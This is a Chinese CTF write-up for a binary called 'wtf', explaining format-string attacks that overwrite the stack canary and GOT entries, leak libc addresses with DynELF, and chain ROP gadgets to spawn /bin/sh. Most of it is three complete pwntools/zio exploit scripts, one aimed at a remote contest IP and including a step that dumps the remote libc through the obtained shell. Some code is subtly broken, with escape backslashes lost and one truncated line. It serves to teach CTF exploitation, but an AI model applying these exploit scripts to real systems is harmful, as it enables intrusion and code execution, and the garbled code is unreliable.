• wtf


    WTF

    TOC

    第一个格式化字符串
    第一个感觉就是挺好用的
    利用格式化字符串可以用你的输入改写任意地址的内容,改写的地址和值都是你的字符串提供的。
    感觉和canary配合特别好。。。通过改写canary的就可以不断的触发canary,然后不断的跳转

    思路

    整个的思路是:
    首先利用第一个格式化字符串改写canary的值为main或者“leave message”的地址(这样就可以持续使用格式化字符串),然后触发canary,这样就不断进入循环,就可以一直输入字符串,为后面做准备

    在第一个格式化字符串的时候,还可以顺便泄露地址,一举两得

    然后,改写got表,改的是exit()的内容——这样在后面输入字符串的时候写一个%p就可以运行到exit()

    后面就有两种拿到shell 的方法了:

    • oneshot
      这个要靠运气,而且不一定成功
      就是直接把exit()的地址写为一个含有/bin/sh并且后面调用了execv()的地址

      就像这个样子
    • 构造ROP链
      把exit()的地址改成pop——ret的地址,然后在触发exit()的时候利用rop,先pop出原来的没有用的数据,ret到pop——rdi——ret的地址,把/bin/sh地址pop到rdi(64位下第一个参数寄存器)中,然后再ret到system

    关于利用格式化字符串改写某个地址:

    • $mhn
      m的值要自己去看
      从rsp开始依次是:6,7,8,9......
      m的值,取决于你在哪个地方写入的是你要改写的地址
    • 字符串的写法
    payload_change = '%.'+str(byte_dic[i])+'d'+'%9$hn'
    
    payload_change = '%%%dc'%(byte_dic[i])+'%9$hn'
    
    • 注意,一次不能写太大数
      所以有可能是只能用$hhn
      因为写入是靠%.宽度来完成的,如果太大了可能回传的数据太大,然后就断了,不推荐
    • 循环写入——这样可以完成一个64位的修改
    def change(io,target,new_value):
        byte_dic=[]
        for i in range(8):
            cur = new_value &0xff
            byte_dic.append(cur)
            new_value = new_value>>8
    
        for i in range(8):
            if byte_dic[i] ==0:
                continue
            io.recvuntil('msg:')
            #payload_change = '%.'+str(byte_dic[i])+'d'+'%9$hn'
            payload_change = '%%%dc'%(byte_dic[i])+'%9$hn'
            #payload_change += 'x01'*(0x18-len(payload_change))
            payload_change = payload_change.ljust(0x18,'l')
            payload_change += p64(0x601060+i)
            print 'byte_dic: '+str(hex(byte_dic[i]))
            io.send(payload_change)

    注意:

    got表

    改写的,泄露的都是got表项。。。
    每次都不记得

    sendline? send?

    这个要看接受的函数
    看接受函数判断结束的标志是什么

    一举多得

    先看代码

    payload=l64(0x601020)
    
    io.read_until('input your name: ')
    io.write(payload)
    io.read_until('leave a msg: ')
    payload='%.'+str(0x0983)+'d'+'%12$hn'+' %9$s%10$ld'
    payload+='x00'*(0x18-len(payload))
    payload+=l64(0x601040)
    io.write(payload)

    在第一次输入name的时候,就输入我们要泄露的地址,然后在后面的格式化字符串的地方泄露对应地址的位置m
    其实直接在格式化字符串里面写也没有问题

    x7f的确定

    test=io.read_until('x7f')
    test=test[-6:]+'x00'*2

    这个x7f的确定是看有泄漏和没有泄露的对比,找到区别——泄露的地址要通过对比才能看到是在返回数据中的哪个地方

    PS: DynELF——泄露地址——在没有libc的时候

    //主函数
        try :
            d = DynELF(leak, libc_base )
            system_addr = d.lookup('system')
        except:
            return
    
    // leak函数
    def leak(addr):
        global r
        io=r
        if addr<=0x400100:
            return 'x00'
        io.recvuntil('msg: ')
        payload='%7$s^_'.ljust(8,'x00')
        payload+=p64(addr)
        payload=payload.ljust(0x19,'f')
        io.sendline(payload)
        dd=io.recvuntil('leave ')
        if dd.find('^_') !=-1:
            if dd.find('^_') ==0:
                print "cur->00"
                res='x00'
            else:
                res=dd[:dd.find('^_')]
        else :
            if dd.find('info')!=-1:
                raw_input('???')
            res='x00'
        return res

    DynELF函数
    反复执行leak函数,传入一个基准地址,这里传入的是 libc_base
    然后就会遍历got表,找到system——这个在没有libc的时候很有效

    代码

    我的代码

    #!/usr/bin/env python
    # encoding: utf-8
    
    from pwn import *
    
    proc_name = './wtf'
    proc_elf = ELF(proc_name)
    print proc_elf.checksec()
    
    context.log_level = 'debug'
    
    io = process(proc_name)
    print proc.pidof(io)[0]
    
    raw_input('debug')
    
    canary_addr = 0x601020
    libc6_read = 0x00000000000F69A0
    libc6_system = 0x0000000000045380
    libc6_binsh = 0x018C58B
    #libc6_pop2 =
    #libc6_
    
    pop2_ret = 0x400A81
    pop_rdi_ret = 0x400a83
    
    lib2_read = 0x00000000000EB6A0
    lib2_system = 0x0000000000046590
    
    
    def change(io,target,new_value):
        byte_dic=[]
        for i in range(8):
            cur = new_value &0xff
            byte_dic.append(cur)
            new_value = new_value>>8
    
        for i in range(8):
            if byte_dic[i] ==0:
                continue
            io.recvuntil('msg:')
    #        payload_change = '%.'+str(byte_dic[i])+'d'+'%9$hn'
            payload_change = '%%%dc'%(byte_dic[i])+'%9$hn'
            #payload_change += 'x01'*(0x18-len(payload_change))
            payload_change = payload_change.ljust(0x18,'l')
            payload_change += p64(0x601060+i)
            print 'byte_dic: '+str(hex(byte_dic[i]))
            io.send(payload_change)
    
    io.recvuntil('input your name:')
    io.sendline(p64(canary_addr))
    
    io.recvuntil('leave a msg:')
    
    payload = '%.'+str(0x08c5)+'d'+'%12$hn'+'%9$s'
    payload += 'x00'*(0x18 - len(payload))
    payload += p64(0x601040)
    io.send(payload)
    
    read_addr = io.recvuntil("x7f")
    read_addr = read_addr[-6:]+'x00'*2
    read_addr = u64(read_addr)
    print hex(read_addr)
    print '####################'
    #read_addr = u64(read_addr)
    print 'read addr :'+str(hex( read_addr))
    system_addr = read_addr + libc6_system - libc6_read
    print 'system addr: '+ str(hex(system_addr))
    binsh_addr = read_addr + libc6_binsh - libc6_read
    
    target = 0x400740
    change(io,target,pop2_ret)
    
    io.recvuntil('msg:')
    payload3 = '%p'
    payload3 =  payload3.ljust(0x8,'l')
    payload3 += p64(pop_rdi_ret)
    payload3 += p64(binsh_addr)
    payload3 += p64(system_addr)
    payload3 = payload3.ljust(0x20,'l')
    
    io.send(payload3)
    io.recvuntil('info?')
    io.interactive()
    

    simp1e

    #coding:utf-8
    from pwn import *
    #__author__='simp1e'
    from pwn import *
    import struct
    import binascii
    PROC_NAME='./wtf'#PORC_NAME
    proc_elf=ELF(PROC_NAME)
    print proc_elf.checksec()
    context.log_level = 'debug'
    for i in proc_elf.libs:
        if i.find('libc.so.6')!=-1:
            LOCAL_LIBC_PATH=i
    L_LIBC=ELF(LOCAL_LIBC_PATH)
    
    rop_call_addr=0x4014A0
    rop_pop_addr=0x4014B6
    got_atoi=0x601CD0
    plt_puts=0x601c90
    plt_rea=0x0400760
    offset_atoi=0x36E70
    got_read=0x601CA8
    glpt=0x06020a0
    def leak(addr):
        global r
        io=r
        if addr<=0x400100:
            return 'x00'
        io.recvuntil('msg: ')
        payload='%7$s^_'.ljust(8,'x00')
        payload+=p64(addr)
        payload=payload.ljust(0x19,'f')
        io.sendline(payload)
        dd=io.recvuntil('leave ')
        if dd.find('^_') !=-1:
            if dd.find('^_') ==0:
                print "cur->00"
                res='x00'
            else:
                res=dd[:dd.find('^_')]
        else :
            if dd.find('info')!=-1:
                raw_input('???')
            res='x00'
    
        return res
    
    def change_qword(io,ptr,value):
        byte_dic=[]
        for i in range(8):
            cur=value &0xff
            byte_dic.append(cur)
            value = value >> 8
            print hex(cur)
        for i in range(8):
    
            if byte_dic[i]==0:
                continue
            io.recvuntil('msg: ')
            pay1='%%%dc'%(byte_dic[i]) + '%8$hhn'
            pay1=pay1.ljust(16,'l')
            print len(pay1)
            pay1+=p64(ptr+i)
            io.sendline(pay1)
    
    def ss(io,buf):
    
        io.recvuntil('msg: ')
        io.sendline(buf)
    
    def exp(io,choice,libc):
        ll=log
        ll.debug('get_libc_offset')
        for i in libc.search('/bin/sh'):
            offset_bin_sh=i
            break
        offset_system=libc.symbols['system']
        offset_one_function=libc.symbols['atoi']
        #make(io,'1'*24)
        ebp = 'x20x99x04x08'
        libc = 'x5cx98x04x08' #__libc_start_main
        retaddr1 = 'xa0x83x04x08' # write
        retaddr2 = 'xbex85x04x08' #pop;pop;pop;ret
        pop_ebp_ret = 'xc0x85x04x08'
        retaddr3 = 'x60x83x04x08' # read
        retaddr4 = 'xd2x85x04x08' #leave ret
        if choice==1:
            print "attach %d"%(proc.pidof(io)[0])
            raw_input('debug:')
        io.recvuntil('name: ')
        io.sendline('1')
        #---------------------------
        io.recvuntil('msg: ')
        pay1='%%%dc'%(0x8) + '%8$hhn'
        pay1=pay1.ljust(16,'l')
        print len(pay1)
        pay1+=p64(0x601021)
        io.sendline(pay1)
    
        io.recvuntil('msg: ')
        pay1='%%%dc'%(0xc5) + '%8$hhn'
        pay1=pay1.ljust(16,'l')
        print len(pay1)
        pay1+=p64(0x601020)
        io.sendline(pay1)
    
    #------------------------kill exit
        io.recvuntil('msg: ')
        pay1='%%%dc'%(0x8) + '%8$hhn'
        pay1=pay1.ljust(16,'l')
        print len(pay1)
        pay1+=p64(0x601061)
        io.sendline(pay1)
    
        io.recvuntil('msg: ')
        pay1='%%%dc'%(0xc5) + '%8$hhn'
        pay1=pay1.ljust(16,'l')
        print len(pay1)
        pay1+=p64(0x601060)
        io.sendline(pay1)
    
    
    #-------------------kil strstr
        libc_base=u64(leak(proc_elf.got['__libc_start_main']).ljust(8,'x00'))
        print 'libc_base -0x%x'%(libc_base)
        code_base=0x400000
        try :
            d = DynELF(leak, libc_base )
            system_addr = d.lookup('system')
        except:
            return
    
        print 'system->0x%x'%(system_addr)
        popret=0x400a80
        poprdx=0x400a7a
    
        change_qword(io,proc_elf.got['exit'],popret)
        change_qword(io,proc_elf.got['setvbuf'],system_addr)
        ss(io,'%10$lx'.ljust(8,'x00')+'/bin/sh'+'x00'*10)
        ddt=io.recvuntil('lea')[:-3]
        addrbinsh=int(ddt,16)+0x60-0xa8
        change_qword(io,0x601090,addrbinsh)
        ss(io,p64(poprdx)*3+p64(poprdx)[:-2])
        io.recv()
        raw_input('=============')
        io.sendline('$p$p$p$p'+p64(popret+4)+p64(0x400896)+p64(addrbinsh))
        io.interactive()
        cod='base64 /lib64/libc.so.6'
        io.sendline(cod)
        fp=open('remote.libc','w')
        while 1:
            data=io.recv()
            if len(data)<0x1000 :
                break
            fp.write(data)
        fp.close()
       # io.interactive()
    
    
    
    if __name__=='__main__':
        print 'Press 1 to test on local
    Press 2 to remote pwn
    Press 3 to test nc on local'
        try:
            choice=int(raw_input('input >').strip('
    '))
        except:
            print 'Press error,Choice default set to 1'
            choice=1
        if choice==1:
                    r= process(PROC_NAME)
                    exp(r,choice,L_LIBC)
        elif choice==2:
            r= remote('106.75.93.227' ,10000,timeout=80 )
            try:
                R_LIBC=ELF('./remote_libc')
            except:
                R_LIBC=L_LIBC
                print 'Alert! remote libc no found,default set to local libc'
            exp(r,choice,R_LIBC)
        elif choice==3:
            while 1:
                try:
                    r=remote('127.0.0.1',3333)
                    exp(r,choice,L_LIBC)
                except:
                    r.close()
    

    彭神

    from zio import *
    import struct
    target = ('106.75.93.227',10000)
    io=zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))
    raw_input("go?")
    payload=l64(0x601020)                  
    io.read_until('input your name: ')
    io.write(payload)
    io.read_until('leave a msg: ')
    payload='%.'+str(0x0983)+'d'+'%12$hn'+' %9$s%10$ld'
    payload+='x00'*(0x18-len(payload))
    payload+=l64(0x601040)
    io.write(payload)
    test=io.read_until('x7f')
    test=test[-6:]+'x00'*2
    read=struct.unpack("<Q",test)[0]
    print hex(read)
    syscall=read+0xe
    test=io.read(15)+
    print test
    stack=int(test,10)
    print hex(stack)
    payload=l64(0x0)                  
    io.read_until('input your name: ')
    io.write(payload)
    io.read_until('leave a msg: ')
    payload=l64(0x0400A7C) 
    payload+=l64(0x601040)  
    payload+=l64(0x200)     
    payload+=l64(stack-0x88)
        io.write(payload)
    payload=l64(stack-0x90)                  
    io.read_until('input your name: ')
    io.write(payload)
    io.read_until('leave a msg: ')
    payload='%12$n'
    payload+='x00'*(0x20-len(payload))
    io.write(payload)
    payload=l64(stack-0x88)                  
    io.read_until('input your name: ')
    io.write(payload)
    io.read_until('leave a msg: ')
    payload='%9$n'+'%.'+str(0x400a60)+'d'+'%12$n'
    payload+='x00'*(0x18-len(payload))
    payload+=l64(stack-0x8c)
    io.write(payload)
    rbp=stack-0xb8
    rbp=rbp%0x10000
    payload=l64(stack-0x1b0)                 
    io.read_until('input your name: ')
    io.write(payload)
    io.read_until('leave a msg: ')
    payload='%.'+str(rbp)+'d'+'%12$hn'
    io.write(payload)
    payload=l64(0x601020)                    
    io.read_until('input your name: ')
    io.write(payload)
    io.read_until('leave a msg: ')
    payload='%.'+str(0x0a1c)+'d'+'%12$hn'
    payload+='x00'*(0x20-len(payload))
    c2=raw_input("go?")
    io.write(payload)
    payload=l64(0x0400A7A)  
    payload+=l64(0x0)
    payload+=l64(0x1)
    payload+=l64(0x601040)
    payload+=l64(0x3b)
    payload+=l64(0x601b00)
    payload+=l64(0x0)
    payload+=l64(0x400a60)
    payload+=l64(0x0)
    payload+=l64(0x0)
    payload+=l64(0x1)
    payload+=l64(0x601b08) 
    payload+=l64(0x0)
    payload+=l64(0x0)
    payload+=l64(0x601b00)
    payload+=l64(0x400a60)
    raw_input('go')
    io.write(payload)
    raw_input('go')
    io.write('/bin/sh'+'x00'+l64(syscall)+'x00'*0x2b)
    io.interact()
  • 相关阅读:
    vue禁止用户复制文案
    html2canvas.js + jspdf.js 实现html转pdf / html转图片
    Vue.js +pdf.js 处理响应pdf文件流数据,前端转图片预览不可下载
    JavaScript处理后端返回PDF文件流,在线预览下载PDF文件
    多线程并发工具类01-CountDownLatch 线程工具类
    线程池01-线程池基础知识
    网络基础知识01-协议分层与TCP/IP协议簇
    网络基础知识02-HTTP协议
    jquery-i18n 多语言切换
    springboot-01 springboot 启动 enviroment环境加载
  • 原文地址:https://www.cnblogs.com/volva/p/11813883.html
Copyright © 2020-2023  润新知